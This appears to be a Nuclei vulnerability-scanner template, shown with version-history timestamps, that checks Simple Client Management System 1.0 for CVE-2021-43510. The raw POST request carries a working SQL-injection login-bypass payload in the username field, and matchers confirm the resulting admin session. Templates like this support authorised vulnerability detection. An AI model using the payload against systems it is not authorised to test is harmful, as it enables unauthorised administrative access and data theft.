nuclei-templates/http/cves/2021/CVE-2021-43510.yaml

51 lines
1.7 KiB
YAML
Raw Normal View History

2022-10-06 09:04:17 +00:00
id: CVE-2021-43510
info:
name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
2022-10-06 09:04:17 +00:00
author: edoardottt
severity: critical
description: |
Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2022-10-06 09:04:17 +00:00
reference:
- https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
2022-11-15 11:37:47 +00:00
- https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
2022-10-06 09:04:17 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-43510
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-06 09:04:17 +00:00
cve-id: CVE-2021-43510
cwe-id: CWE-89
cpe: cpe:2.3:a:simple_client_management_system_project:simple_client_management_system:*:*:*:*:*:*:*:*
epss-score: 0.01295
2022-11-15 11:37:47 +00:00
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
2022-11-16 08:16:13 +00:00
tags: cve,cve2021,simpleclientmanagement,sqli,auth-bypass
2022-10-06 09:04:17 +00:00
http:
2022-10-06 09:04:17 +00:00
- raw:
- |
2022-11-15 11:37:47 +00:00
POST /classes/Login.php?f=login HTTP/1.1
2022-10-06 09:04:17 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'+or+'1'%3d'1'--+-&password=as
2022-11-15 11:37:47 +00:00
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-10-06 09:04:17 +00:00
2022-11-15 11:37:47 +00:00
req-condition: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'contains(header_1, "text/html")'
2022-11-15 11:37:47 +00:00
- 'status_code_1 == 200'
- 'contains(body_1, "{\"status\":\"success\"}")'
- 'contains(body_2, "Welcome to Simple Client")'
condition: and
# Enhanced by md on 2022/12/08